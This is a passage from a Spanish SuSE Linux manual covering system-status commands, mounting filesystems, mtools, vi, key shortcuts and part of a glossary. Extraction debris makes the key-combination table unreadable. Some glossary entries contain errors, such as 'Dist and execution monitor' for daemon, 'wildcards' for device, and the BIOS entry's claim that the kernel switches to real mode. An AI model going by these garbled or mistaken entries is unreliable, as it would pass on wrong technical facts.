en- contradas. man -k busca en todas las secciones de las Manpages por una con la palabra clave y apunta las que se hayan encontrado. man llama la Manual-Page de desde la . Así que p. ej. el comando man 1 man llama la Manual-Page del comando man desde la sección 1 . _______________________________________________________________________________________________________* *_________ Tabla 19.5: Llamadas al comando man Cuando se está en el sistema X Window también se puede usar el programa xman . No obstante el comando normal man tiene su razón de ser, ya que simplemente es más rápido. Para mostrar las Manual-Pages, el comando man usa la herramienta less (ver apartado 19.7.3 en la página 474El contenido de los ficherossubsection.19.7.3). Si se tiene instalado el sistema de ayuda de SuSE , se pueden consultar las Manual-Pages cómodamente. Las Manual-Pages se separan en diferentes secciones (ver tabla 19.6 en la página siguiente). 480 ____________________________________________________________19.10.__Información_sobre_el_estado_del_sistema_________________* *______________________ ______________________________________________________________________________________________________________________ 1 Descripción de los comandos de usuario aparte de aquellos que vienen integrados con bash o tcsh ; hay información sobre estos en la Manual-Page de la shell usada. 2 Las llamadas al sistema de las distintas bibliotecas. 3 Las funciones de biblioteca de C. 4 Descripción de ficheros de configuración. 5 La sintaxis de ficheros importantes. 6 Descripción de juegos. 7 Todo lo que tiene que ver con texto, formatos de texto u otros. 8 Los comandos del administrador de sistema. 9 Descripción de las rutinas de kernel de Linux. n n según el dicho se deriva de ''nuevo''. Aquí hay Manual-Pages que pertenecen a las secciones indicadas arriba, pero que se han quedado aquí por tradición. También hay de las que no pertenecen a ninguna de las secciones mencionadas. ______________________________________________________________________________________________________________________ Tabla 19.6: Secciones de las Manual-Pages Se debe tener en cuenta que no existe una Manual-Page para cada palabra clave o comando. Es posible encontrar información en /usr/doc/, p. ej. en /usr/doc/howto/en, /usr/doc/howto/en/mini o individual para cada paquete en /usr/doc/packages. 19.10 Información sobre el estado del sistema Muchas veces es importante tener información sobre el estado del sistema. En esto ayudan p. ej. los comandos df , free , ps , top . 19.10.1 El comando df df informa sobre el espacio usado y disponible en el disco duro. La respuesta en pantalla es parecida a la del salida en pantalla 19.10.1. _______________________________________________________________________________________________________________________|| |||||||| | |||||||| Filesystem 1024-blocks Used Available Capacity Mounted on | |||||||| | |||||||| | |||||||| /dev/sda4 699392 659258 5165 99% /home | |||||||| /dev/sda1 102384 23955 73310 25% / | |||||||| | |||||||| /dev/sdb1 2097136 2070485 26651 99% /usr | |||||||| /dev/sda3 126976 106908 20068 84% /opt | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 19.10.1: Respuesta del comando df * * 481 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | total used free shared buffers cached * * | || Mem: 30900 29272 1628 25608 1012 6412 * * || | * * | | -/+ buffers: 28260 2640 * * | | Swap: 66524 176 66348 * * | | * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 19.10.2: Respuesta del comando free 19.10.2 El comando free free informa sobre la ocupación de la memoria y del área de intercambio (swap); ver salida en pantalla 19.10.2: Más información en el anexo F en la página 529¿Por qué consume Linux toda la memoria?Item.247. 19.10.3 El comando ulimit El comando ulimit (ingl. user limits) permite limitar los recursos de sis- tema o visualizarlos. ulimit es especialmente útil para limitar es uso de la + Memoria por parte de las aplicaciones. Así es posible evitar que una aplicación se reserve demasiada o toda la memoria lo que podría provocar el cuelgue del sistema. ulimit tiene varias opciones; algunas que pueden limitar el gasto de memo- ria figuran en la tabla 19.7. _______________________________________________________________________________________________________* *_________ -m Tamaño máximo de memoria RAM -v Tamaño máximo del fichero de intercambio (Swap) -s Tamaño máximo de las pilas -c tamaño máximo de los fichero core -a Mostrar límites establecidos _______________________________________________________________________________________________________* *_________ Tabla 19.7: ulimit : Limitar los recursos para el usuario Los límites para todo el sistema se pueden establecer en /etc/profile. También es en este fichero, dónde se debe dar de alta la creación de los ficheros core, que necesitan los programadores para depurar código (ingl. debugging). Los usuarios no pueden aumentar los valores que el + admin- istrador de sistema define en /etc/profile, pero si que pueden hacer una configuración personal en ~/.bashrc; ver el fichero 19.10.1. ________________________________________________________________________________________________________* *________|| | * * | | # Limitar la memoria RAM: * * | | ulimit -m 98304 * * | | * * | | * * | | # Limitar la memoria virtual (swap): * * | | ulimit -v 98304 * * | | * * | |_______________________________________________________________________________________________________* *________ | 482 Fichero 19.10.1: Establecer límites con ulimit en ~/.bashrc Todos los valores se han de indicar en KB. Información más detallada se encuentra en página del manual de bash (man bash ). ____________________________________________________________19.10.__Información_sobre_el_estado_del_sistema_________________* *______________________ 19.10.4 El comando w El comando w muestra todos los usuarios que actualmente han entrado a su cuenta en el sistema. Aparte de indicar la cantidad de usuarios conectados, aparecen otros datos útiles como son la carga actual del sistema, el tiempo que el sistema está en marcha y lo que hacen los usuarios (ver salida en pantalla 19.10.3). _______________________________________________________________________________________________________________________|||| |||||||| | |||||||| 11:05am up 21 days, 21:10, 8 users, load average: 0.23, 0.10, 0.10 | |||||||| USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT | |||||||| | |||||||| root tty1 - 11:02am 3:34 0.10s 0.05s -bash | |||||||| tux tty3 - 11:04am 1:24 1.29s 1.22s emacs | |||||||| tux pts/1 :0.0 11Feb 0 19:42m 1:18 0.02s sed | |||||||| tux pts/2 :0.0 30Jan 0 18:35m 56.29s ? - | |||||||| | |||||||| tux pts/6 :0.0 31Jan 0 4.00s 1.47s ? - | |||||||| tux pts/3 :0.0 31Jan 0 2days 1.86s 1.44s bash | |||||||| tux pts/9 :0.0 1Feb 0 2days 3.52s ? - | |||||||| tux pts/10 :0.0 2Feb 0 59:19 9.10s 8.56s lynx | |||||||| | |||||||| tux pts/11 :0.0 2Feb 0 0.00s 26:49 0.01s | |||||||| rlogin venus | |||||||| tux pts/12 venus.cosmos.univ 11:09am 0.00s 0.11s 0.04s w | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 19.10.3: Respuesta del comando w 19.10.5 El comando du El comando du (ingl. disk usage) informa sobre la ocupación de disco por parte de los distintos ficheros y sub-directorios. Hay más información en la página del manual de du (man du ). 19.10.6 El comando kill Mediante este comando se pueden mandar señales a procesos + Proceso que están en funcionamiento. Para ello se necesita el número de identificación de proceso (ingl. process id), abreviado: PID. Este número se averigua con el comando ps (ver apartado 19.10.7). El comando kill se ejecuta con: tierra: # kill Si el proceso absorbiera la señal de parada, es posible detenerlo con el parámetro opcional -9 . El comando: tierra: # kill -9 para el proceso con el definitivamente. 19.10.7 El comando ps El comando ps (ingl. process status) muestra los procesos que ha iniciado el usuario. Hay información adicional en la página del manual de ps (man ps ). Usando la opción ps -a se muestran también los procesos iniciados por parte de los demás usuarios en la misma computadora. Se pueden parar procesos en ejecución específicos indicando el número de proceso (1a columna la salida en pantalla de ps ) (ver apartado 19.10.6). * * 483 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ 19.10.8 El comando pstree El comando pstree ilustra el ''árbol de procesos'' completo tal como se puede|observar|en el salida en pantalla 19.10.4. * * || ________________________________________________________________________________________________________* *________|| | * * | | init-+-bash---startx---xinit-+-X * * | | * * | | | `-sh---fvwm-+-FvwmPager * * | | | |-FvwmWinList * * | | * * | | | |-GoodStuff * * | | | |-xclock * * | | * * | | | `-xeyes * * | | |-color_xterm---bash---xdvi.bin---gs * * | | * * | | |-2*[color_xterm---bash---vi] * * | | |-color_xterm---bash---pstree * * | | |-coolmail---coolmail---xterm---pine * * | | * * | | |-cron * * | | |-gpm * * | | * * | | |-inetd * * | | |-kflushd * * | | * * | | |-klogd * * | | |-kswapd * * | | * * | | |-5*[mingetty] * * | | |-4*[nfsiod] * * | | * * | | |-sh---master---slipto * * | | |-syslogd * * | | |-update * * | | * * | | |-xload * * | | `-xosview * * | | * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 19.10.4: Respuesta del comando pstree 19.10.9 El comando top Se muestran todos los procesos que están en marcha, la carga del sistema,_etc. La pantalla se actualiza periódicamente y se puede parar pulsando |q_ |. 19.11 Sistemas de fichero en Linux ~ mount y umount Tratar y administrar sistemas de ficheros puede ser un verdadero arte. 19.11.1 Sistemas de ficheros Linux soporta muchos tipos de + sistema de ficheros. La tabla 19.8 en la página siguiente muestra una selección de ellos. _______________________________________________________________________________________________________* *_________ affs Un sistema de ficheros usado en las computadoras Amiga (ingl. Amiga Fast Filesystem). _______________________________________________________________________________________________________* *_________ Tabla 19.8: Continúa en la página siguiente ... 484 ________________________________________________19.11.__Sistemas_de_fichero_en_Linux_~_mount______y_umount__________________* *______________________ ______________________________________________________________________________________________________________________ ext2 (ingl. Second extended Filesystem) El sistema de ficheros es- tándar en Linux (+ EXT2. hpfs Sistema de ficheros estándar de IBM OS/2 (ingl. High Per- formance Filesystem). Linux solo soporta accesos de lectura (ingl. read-only) sobre él. iso9660 Sistema de ficheros estándar en CDROM. minix Este sistema de ficheros se origina en proyectos de enseñanza académicos y fue el primer sistema de ficheros que se usó para Linux. Hoy en día su uso bajo Linux se restringe casi por completo a los disquetes. msdos Sistema de ficheros originalmente usado por DOS , que se usa hasta hoy en día para diversos sistemas operativos. ncpfs Sistema de ficheros para montar volúmenes de Novell. nfs Con este sistema de ficheros los datos se encuentran en el disco duro de otra computadora y se accede a ellos de forma transparente vía red (ingl. Network Filesystem). proc Sistema de ficheros de procesos (virtual). smbfs SMB (ingl. Server Message Block) es un protocolo que usan WfW , Windows NT y LAN Manager , para dar acceso a ficheros vía red. sysv Sistema de ficheros que usan SCO-Unix , Xenix y Coherent (sistemas comerciales de Unix para PC). ufs Sistema de ficheros usado por BSD , SunOS y NeXTstep ; Linux solo soporta accesos de lectura (ingl. read-only) sobre él. umsdos Es un sistema de ficheros montado sobre uno del tipo fat normal (ingl. Unix on MSDOS), que consigue toda la fun- cionalidad de Unix por la generación de ficheros especiales que contienen la información sobre las autorizaciones, los enlaces y los nombres de fichero largos; es muy lento. vfat Extensión del sistema de ficheros fat en cuanto a la longitud de los nombres de fichero (ingl. Virtual FAT ). ______________________________________________________________________________________________________________________ Tabla 19.8: Sistemas de fichero en Linux 19.11.2 Montaje y desmontaje de sistemas de ficheros El comando mount sirve para incorporar un medio de datos (disquete, CD- ROM) en el sistema de ficheros de Linux. Normalmente solo el superusuario `root' puede usar este comando, que necesita dos parámetros: o el nombre del medio (corresponde con el nombre de dispositivo, p. ej. /dev/hda3) o y un directorio ya existente bajo el cual se incorpora (monta) el medio. La opción -t indica el tipo de sis- tema de ficheros a montar (ver tabla 19.8). * * 485 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ En el siguiente ejemplo se monta la partición DOS hda2 en el directorio /dosa: tierra:/ # mount -t msdos /dev/hda2 /dosa Es necesario generar el directorio /dosa antes del proceso de montaje (ver apartado 19.6 en la página 472Trabajar con directoriossection.19.6). Es muy aconsejable apuntar en el fichero /etc/fstab todos los disposi- tivos que se montan con frecuencia en el mismo lugar dentro del sistema de ficheros. Estos pueden ser la disquetera o lectores CD-ROM; para ello se puede consultar la página del manual de mount (man 8 mount ). Usando la opción -r se monta un medio p. ej. de solo lectura (ingl. read-only), lo que significa que no se puede escribir sobre él mismo. Otras opciones se documentan en la página del manual de mount (man 8 mount ). ________________________________________________________________________________________________________* *________ | * * ||| | Si se quiere tener la posibilidad de escribir sobre particiones de DOS co- * * ||| | mo usuario ''normal'' (no como superusuario `root') se deben consultar * * ||| | * * ||| | los pasos necesarios en http://sdb.suse.de/sdb/en/html/kfr_18. * * ||| | html. * * ||| |_______________________________________________________________________________________________________* *________|||_ mount protocoliza los sistemas de fichero montados en el fichero /etc/mtab. Cuando se llama a mount sin ningún parámetro, el contenido de este fichero sale en pantalla, representando el listado de todos los sistemas de ficheros montados. Mediante el comando umount se quita un dispositivo del sistema de fichero de Linux (''desmontar'')7 . El parámetro para umount puede ser el nombre del dispositivo montado o el nombre del directorio bajo el cual está mon- tado. Para ''desmontar'' p. ej. /dev/hda2, montado sobre /dosa, se puede introducir: tierra: # umount /dosa o bien: tierra: # umount /dev/hda2 ________________________________________________________________________________________________________* *________|| | Si se ha montado un sistema de ficheros desde un disquete o de otro medio * * |||| | * * ||| | extraible, es importante ejecutar el comando umount antes de extraer el * * ||| | * * ||| | disquete de la disquetera. * * ||| | Cuando todavía hay ficheros abiertos en un dispositivo montado, estos se * * ||| | * * ||| | escriben al medio ejecutando el comando umount . Si esto no fuera posible, * * ||| | aparecería un mensaje de error. * * ||| | * * ||| | No se puede ''desmontar'' ningún sistema de ficheros cuando hay todavía * * ||| | * * ||| | algún usuario dentro de alguna rama por debajo del punto de montaje (p. ej. * * ||| | dentro de una shell). * * ||| |_______________________________________________________________________________________________________* *________|||_ 19.12 Comandos DOS bajo Unix usando mtools Los mtools que se encuentran en el paquete mtools, serie ap, existen es- pecialmente_para_el_tratamiento_de_ficheros_del_tipo DOS en disquetes o en 7 En realidad el comando se llamó unmount , pero la `n' se perdió en algún momento de la historia de Unix. 486 ________________________________________________________19.12.__Comandos_DOS_bajo_Unix_usando_mtools________________________* *______________________ el disco duro. Cada programa ofrecido trata de emular lo mejor posible su contraparte de DOS, usando siempre una `m' por delante del comando, como p. ej. en mcopy . _______________________________________________________________________________________________________________________|| |||||||| ¡Los comandos del paquete mtools solo se deben usar si el medio en ||| | |||||||| cuestión no está montado! || | ||||||||_______________________________________________________________________________________________________________||_ Los nombres de fichero de DOS se componen por una letra de unidad seguida de dos puntos y un nombre de sub-directorio (opcional) tal como el nombre de fichero mismo. Bajo DOS se usa exclusivamente el símbolo `\'. Los mtools en Linux permiten el uso de `/' tal como el de `\'. Usando el símbolo `\' o + Wildcards (comodines) como p. ej. `*' o `?' estos símbolos deben estar dentro de comillas para que la shell no los interprete antes de que lo haga el comando mtools . El sencillo asterisco `*' bajo mtools corresponde a la secuencia de caracteres `*.*' en DOS. En lugar de la barra `/' de DOS para pasar parámetros, se usa el signo menos `-' como es usual bajo Linux. El dispositivo estándar para los mtools es la primera disquetera (bajo DOS `a:'). mtools usa el directorio raíz del disquete a:\ como directorio por defecto. Si se quiere usar otro se puede cambiar hacia allí con el comando mcd . Antes de sacar el disquete de la disquetera se debe recordar de volver al directorio raíz del medio, ya que en caso contrario no se podría leer ningún nuevo árbol de directorios. En este momento los mtools soportan, entre otros, los siguientes comandos de DOS: ______________________________________________________________________________________________________________________ mattrib Cambio de los atributos de fichero de DOS (hidden , system , etc.). mcd Cambio a otro directorio. mcopy Copiar de/a DOS y a/de Unix, también de forma recursiva. Hay que indicar siempre el destino. mdel Borrar un fichero DOS. mdeltree Borrar un directorio DOS de forma recursiva. mdir Ver contenido de un directorio DOS. mformat Generar un sistema de ficheros DOS en un disquete for- mateado a bajo nivel. El formateo a bajo nivel se realiza con fdformat . mlabel Cambio de nombre de un medio DOS. mmd Generar un subdirectorio de DOS. mrd Borrar un subdirectorio de DOS. mread Lectura de un fichero DOS para un sistema Unix. mren Cambio de nombre de un fichero DOS existente. mtype Mostrar el contenido de un fichero DOS. mwrite Copia a bajo nivel de un fichero Unix a un sistema de ficheros DOS. ______________________________________________________________________________________________________________________ Tabla 19.9: Comandos del paquete mtools * * 487 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ Se supone por defecto que la disquetera a: es de 3.5-pulgadas, y la de B: de 5.25-pulgadas. En estas disqueteras se soportan los formatos 720 KB y 1.44 MB, así como 360 KB y 1.2 MB. Estos valores por defecto se pueden modificar en el fichero /etc/mtools. conf. Los apuntes en cada línea se detallan de la siguiente manera: o Letra de unidad (bajo DOS), p. ej. a: o Nombre de dispositivo (Linux), p. ej. /dev/fd0 o Código (12 disquetera, 16 disco duro) o Número de pistas, cabezales y sectores Modificando los parámetros se puede usar también dos disqueteras de 3.5- pulgadas. En cuanto a los demás parámetros hay que vigilar que no se usen dos letras de unidad DOS iguales y tampoco iguales nombres de dispositivo de Linux. 19.13 Resumen de los comandos de Unix A continuación los comandos más importantes en resumen (los parámetros opcionales se indican en paréntesis `[]'): _______________________________________________________________________________________________________* *_________ cd carp Cambio al subdirectorio carp. cd .. Cambio al directorio superior. cd /carp Cambio al directorio /carp. cd [ ] Cambio al directorio de usuario cp fuente destino Copia fuente a destino. ln [-s] relación nombre Genera en el directorio actual el en- lace [simbólico] nombre, que apunta al fichero relación. nombre indica la ra- ma en la que se encuentra el fichero, que realmente se busca en este directo- rio. Es posible referenciar los enlaces de un sistema de ficheros a otro. Los en- laces simbólicos permiten también en- lazar directorios. ls [carp] Listado de todos los ficheros y carpetas en el directorio carp. ls -l [carp] Listado de todos los ficheros y carpetas en el directorio carp en forma larga y explícita. ls -a [carp] Muestra también los ficheros ocultos (p. ej. ~/.xinitrc). mkdir nuevacarp Genera el directorio nuevacarp. less fichero Muestra un fichero por página (hacia adelante con_la tecla ''espacio'' y hacia atrás con |b_ |). _______________________________________________________________________________________________________* *_________ Tabla 19.10: Continúa en la página siguiente ... 488 ____________________________________________________________________________________________19.14.__Otras_perspectivas______* *______________________ ______________________________________________________________________________________________________________________ mv de_fichero a_fichero Mueve un fichero o lo renombra. rm fichero Borra fichero (¡también enlaces!). rm -r carp Borra el directorio carp recurrente (con sub-directorios). rmdir carp Borra el directorio carp (si está vacío). ______________________________________________________________________________________________________________________ Tabla 19.10: Resumen de los comandos más importantes de Unix La tabla 19.11 menciona algunos comandos para efectuar búsquedas. ______________________________________________________________________________________________________________________ find . -name "file" Busca file en todos los sub-directorios del directorio actual. find . -name "*pepe*" Busca todos los ficheros que contienen la cadena de caracteres `pepe'. man comando Explica comando . grep muestra ficheros Busca en todos los ficheros la `mues- tra' indicada, que puede contener también ''expresiones regulares'' (ver apartado 19.7.2 en la página 474Wild- cards ~ Comodinessubsection.19.7.2 o man regexp ). ______________________________________________________________________________________________________________________ Tabla 19.11: Resumen de comandos de búsqueda 19.14 Otras perspectivas Los directorios generales con la mayoría de ficheros ejecutables bajo Linux son: o /bin o /sbin o /usr/bin o /usr/sbin o /usr/X11R6/bin y contienen muchos comandos adicionales. Usando man se puede obtener información detallada sobre los comandos y programas disponibles, si la Manual-Page correspondiente existe (ver apartado 19.9 en la página 480Manual-Pagessection.19.9). Las explica- ciones aparecen entonces en el dispositivo estándar de salida (generalmente el monitor). * * 489 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ Usando Pipes en la línea de comando de la shell, se pueden enviar estas líneas directamente a una impresora o a un fichero. Los Pipes se simbolizan con el carácter `|'. Un ejemplo: Para imprimir la Manual-Page acerca del comando ls , se teclea lo siguiente: tux@tierra: > man -t ls | lpr Para acceder a las Manual-Pages por temas es posible usar el sistema de ayuda a base de hipertexto del sistema SuSE Linux. Se inicia tecleando simplemente hilfe o susehelp y se tendrá la posibilidad de acceder a la ayuda cómodamente y de seguir la referencias cruzadas entre las Manual- Pages. 490 _______________________________________________________________________________________________________19.15.__El_editor_vi_* *______________________ 19.15 El editor vi Aunque el editor vi es un poco complejo y por tanto su uso exige una cierta práctica, se explican aquí algunos detalles sobre esté, ya que está presente en todos los sistemas que se parecen a UNIX. vi forma parte de la instalación estándar de Linux y los comandos para su uso no dan lugar a dudas, lo que evita equivocaciones. Además, muchas veces ocurre que cuando ya no funciona nada, vi sí que funciona. La siguiente explicación corta permite editar p. ej. ficheros de configuración diversos con el editor vi . El concepto: El editor vi conoce tres modus operandi: o Modo de comando (ingl. command mode) Cada tecla pulsada se entiende como parte de un comando. o Modo de inserción (ingl. insert mode) Las teclas pulsadas se entienden como letras a introducir en el texto. o Modo de comandos complejos (ingl. last line mode) Sirve para introducir comandos complejos que se editan en la última línea. A continuación se encuentran los comandos más importantes del modo de comando: ______________________________________________________________________________________________________________________ i Cambia al modo de inserción (Los caracteres se introducen en la posición actual del cursor. a Cambia al modo de inserción (Los caracteres se introducen detrás de la posición actual del cursor. A Cambia al modo de inserción (Los caracteres se añaden al final de la línea. R Cambia al modo de inserción y sobreescribe el texto antiguo. r Cambia al modo de inserción para sobreescribir una sola letra. s Cambia al modo de inserción sobreescribiendo el carácter por de- bajo del cursor con la letra introducida. C Cambia al modo de inserción reemplazando el resto de la línea por el texto nuevo. o Cambia al modo de inserción introduciendo una línea nueva detrás de la línea actual. O Cambia al modo de inserción introduciendo una línea nueva por delante de la línea actual. x Borra el carácter actual. dd Borra la línea actual. dw Borra hasta el final de la palabra actual. cw Cambia al modo de inserción sobreescribiendo el resto de la palabra actual con las letras insertadas. u Deshace el último comando. ______________________________________________________________________________________________________________________ Tabla 19.12: Continúa en la página siguiente ... * * 491 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ J Añade la siguiente línea a la actual. . Repite el último comando. : Cambia al modo de comandos complejos. _______________________________________________________________________________________________________* *_________ Tabla 19.12: Comandos simples del editor vi Antes de introducir todos los comandos se puede añadir una cifra, que indica la cantidad de objetos susceptibles a la modificación. Así se pueden borrar p. ej. 3 palabras simultaneamente, introduciendo el comando `3dw'. Teclear `10x' sirve para borrar diez caracteres desde la posición del cursor tal como `20dd' borra 20 líneas. Los comandos más importantes del modo de comandos complejos son: _______________________________________________________________________________________________________* *_________ :q! Salir de vi , sin grabar modificaciones. :w Graba el fichero en . :x Graba el fichero modificado y sale del edi- tor. :e Carga para su edición :u Deshace el último comando de edición _______________________________________________________________________________________________________* *_________ Tabla 19.13: Comandos complejos del editor vi Para llegar desde_el modo de inserción al modo de comandos complejos hay que pulsar |E____S|C. 492 Apéndice A Teclas y combinaciones importantes A continuación se presenta el resumen de algunas teclas o combinaciones de teclas importantes. _______________________________________________________________________________________________________________________ |||||__ _- ___|___ Ejecutar un comando en la línea de coman- dos o retorno de carro. Alt||||||__+|F___|_1-|F___|_6 Cambiar a otra consola en modo texto. |||||____ ____ ___ ___ Ctr____|____l+ |A____l|t+|F___|1-|F___|6 Cambiar a otra consola bajo el sistema X Window o el emulador de DOS. Alt||||||__+ |F___|_7 Regresar a los X. |||||____ ____ Ctr____|____l+______| ____A|lt + Finalizar los X. Bac|||||_______|____kspace |||||_________ _________ Shi_________|____ft+ *|_________|Re Pág Mostrar pantallas anteriores de la consola. Funciona hasta el próximo cambio de con- sola. Shi|||||____|_____ft+ *|_________|_Av PágInversión de |S___________|_hift+|*_________|_Re. Pág |||||_ " ||__ Muestra en la línea de comandos el coman- do anterior. # ||||||__ Inversión de |"__|. |||||_________ ____ Shi_________|____ft+_* |____A|lt + Bajo el sistema X Window: Cambio a la Cur|||||__|____sor ventana más cercana del escritorio virtual en la dirección de la flecha. La cantidad de ventanas a disposición se determina en el fichero .fvwm[2]rc mediante el parámetro DeskTopSize . Ctr||||||____l+|A_____|lt+| ____________|(gris)Modifica la resolución de la pantalla en el orden de las entradas hechas en el fichero /etc/XF86Config. Ctr||||||____l+ |D__| Logout. Equivale al comando exit . Con ignoreeof=x se puede indicar en /etc/ profile la cantidad de repeticiones nece- sarias (=x ) para que el comando sea acepta- do. _______________________________________________________________________________________________________________________ Tabla A.1: * * 493 A. Teclas y combinaciones_importantes_____________________________________________________________________________________________* *_______________________________________@ 494 Apéndice B Glosario Este glosario esta limitado a términos o abreviaciones específicas de UNIX o Linux, ya que la cantidad de términos existentes en la informática es muy grande. Por eso se deberían conocer ya, términos como bit y byte, por ejem- plo. Acrónimo Las abreviaciones que se pueden pronunciar como una palabra se denom- inan acrónimos. + Linux, + GNU y + RAM son acrónimos conocidos. Administrador de sistema (ingl. system administrator, root user) Es la persona encargada de mantener y configurar un sistema complejo de computadoras o una red. El administrador de sistema (`root') es normalmente la única persona con acceso a todas las posibilidades de configuración de una computadora. Alias El término alias se usa generalmente en combinación con la + Shell. Un alias permite abreviar comandos que se usan con frecuencia o que simple- mente son muy largos. Para usar alias consulte el apartado sobre el uso de la shell. Anfitrión (ingl. Host) El anfitrión es la computadora a la que se conecta en concepto de recibir servicios de ella. Muchas veces es equivalente a un servidor, pero siempre depende desde donde se conecta. Arrancar (ingl. Boot(ing)) Se denomina así a todo el proceso de inicio de la computadora, desde el momento de encender la máquina hasta que el usuario la pueda usar. En el caso de Linux es la inicialización del kernel y el inicio de los servicios. Esto comienza con el mensaje `uncompressing linux...' y termina con la petición de entrada al sistema `login:' ASCII American Standard Code for Information Interchange. Conjunto de nor- mas de codificación de caracteres mediante caracteres numéricos, de am- plia utilización en informática y telecomunicaciones. ATAPI ATAPI es un protocolo de comunicación para acceder a dispositivos conectados a una controladora (E)IDE. Los Lectores CD-ROM con dicha * * 495 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ interfaz tienen una amplia difusión (+ Lector CD-ROM), pero ya hay tam- bién unidades ZIP, streamer y disqueteras que incorporan la interfaz AT- API. Linux soporta todos estos dispositivos. Backup Backup (Respaldo) es el término inglés que se usa generalmente para hablar de copias de seguridad. Es muy recomendable hacer regularmente respaldos de los datos más importantes, entre ellos las configuraciones de los programas. Bajo Linux el comando tar es el método principal para almacenar datos en un + Dispositivo. Muchas veces tar se combina con gzip . BIOS (ingl. Basic Input Output System) Cada PC tiene una pequeña memoria que almacena la BIOS. Esta con- tiene programas de inicialización y de comprobación para el arranque de la computadora así como algunos drivers (simples) para los periféricos principales como teclado, tarjeta gráfica, disqueteras, interfaces y reloj. Bajo Linux la BIOS está desactivada, ya que se apaga durante el arranque del kernel cuando el procesador (+ CPU) pasa al ''modo real''. Las rutinas del kernel de Linux son mucho más potentes. Boot (ingl. bootstrap = cordón de bota) + Arrancar. Búfer (ingl. buffer) Un búfer es un tipo de memoria intermedia, que permite acelerar los accesos repetidos a los datos que se encuentran en él. Linux trabaja con muchos tipos de búferes. CD-ROM (ingl. CD-ROM Drive) + Lector CD-ROM. Comodines (ingl. wildcards) Véase + Wildcards. Consola (ingl. console, terminal) Antes era equivalente a un terminal. Bajo Linux existen consolas vir- tuales que permiten usar un monitor para varias sesiones independi- entes, pero simultáneas (ver apartado 19.4 en la página 471Consolas virtualessection.19.4). Por defecto (+ Runlevel 2) tiene 6 consolas_ vir- tuales a su disposición, a las que se puede acceder con las teclas |A____l|t+ |____|F1hasta |A_____|lt+ |F___|_6. Desde el sistema X Window,_que usa_la_consola_7,_se accede_a_las_consolas___ ___ de texto mediante |C______|trl+ |A____l|t+ |F___|1hasta |C______|trl+ |A____l|t+ |F___|6. CPU (ingl. Central Processing Unit) El procesador de la computadora. Los procesadores de Intel de la serie x86 se pueden usar en modos de operación diferentes. Hay que distinguir especialmente entre los dos modos siguientes: o real Mode: El modo de operación original. Es lento y solo permite aplicaciones anticuadas (''software de 16 bit''). Este modo de op- eración no conoce zonas o comandos protegidos y el tamaño de los segmentos está reducido a 64K. La computadora se inicia en este mo- do de operación cuando se enciende o cuando se resetea + Resetear. 496 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ o protected Mode: (a partir de 286) Modo de operación protegido en el cual se distinguen diferentes estados de privilegio. Solo cuando el procesador está en el ''bucle 0'' todas las operaciones están permitidas (allí se encuentra el kernel de Linux), mientras que las aplicaciones (también las del superusuario) trabajan en el ''bucle 3'' (privilegios mínimos). Además, los procesadores a partir del 386 permiten seg- mentos que cubren todo el rango de memoria, lo que permite el acceso lineal a la memoria (Flatmodel). Linux usa el procesador exclusiva- mente en el ''modo protegido'' del 386 (o superiores), que es el modo que aprovecha toda la potencia de la CPU. Linux existe actualmente para las siguientes arquitecturas: Intel x86, DEC alpha, Motorola m68k, Sparc, PowerPC, MIPS y ARM. Cursor El cursor es generalmente un pequeño bloque o una ralla, que marca el lugar de introducción de caracteres. Bajo Linux este término se encuentra en relación con: o Shell/Editor: Lugar marcado por un cuadro o una ralla intermitente que indica el lugar en el que se introducen los caracteres a través del teclado. En el caso de la shell, el cursor se encuentra en la izquierda por detrás del + Prompt. o Cursor del mouse en el sistema X Window: Se trata de la flecha que indica la posición del mouse y cuyo aspecto se cambia según el fondo. Por ejemplo, es una flecha sobre un xterm, tiene forma de ''X'' sobre el fondo y forma de ''I'' sobre la ventana de un + Editor. o GPM-Cursor (Consola): Un bloque del tamaño de una letra, que se puede posicionar en la + Consola mediante movimientos del mouse para hacer Cut & Paste (+ Selección); funciona gracias al programa gpm . Daemon Un daemon (ingl. Dist and execution monitor) es un programa que ''está de guardia'' en el fondo y que toma acción en el momento necesario. Daemons responden p. ej.a las peticiones de FTP o HTTP tal como se encargan de la actividad en las ranuras PCMCIA. Densidad de inodes La densidad de inode se selecciona de acuerdo al tamaño promedio de fichero que se espera en una determinada partición. Por lo general los valores previstos por YaST garantizan un uso efectivo de la partición y no se precisa ninguna modificación. Se trata de algo que suele provocar confusión entre los principiantes en materia de Linux, ya que la densidad es alta cuando el tamaño del inode es pequeño, por tanto caben más inodes dentro de la partición. Device (ingl. wildcards) Véase + Dispositivo. Dirección-IP Dirección numérica de 32 bit, que está asignada exclusivamente a una * * 497 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ computadora; se anota generalmente en cuatro valores decimales sepa- rados por puntos (p. ej. 192.168.10.1). Cuando una computadora tiene varias conexiones de red (pasarela), también tiene varias direcciones IP. Directorio (ingl. directory) Los ''directorios'' forman la estructura del + Sistema de ficheros. El direc- torio contiene nombres de ficheros y de los sub-directorios. Como cada directorio puede contener subdirectorios es posible formar la estructura de un árbol de directorios. Para ver el contenido de un determinada di- rectorio se puede cambiar hacia éste, lo cual es equivalente a bajar un nivel en el árbol de directorios. Los ficheros son como hojas del árbol, ya que es allí donde se termina la posibilidad de bifurcar. Los nombres de los directorios tienen las mismas restricciones de los nombres de ficheros. Los ''nombres'' especiales `.' y `..' simbolizan el directorio en sí y su antecesor en la jerarquía del sistema de ficheros respectivamente. Directorio de usuario (ingl. home directory) El directorio de usuario (directorio ''home'') es el punto de partida de la mayoría de actividades del usuario. Aquí es donde el usuario puede almacenar sus datos privados y aparte del + Administrador de sistema, él es el único que tiene permiso de escribir en este directorio. La ubicación del directorio de usuario se fija bajo Unix en la + Variable de entorno HOME. El 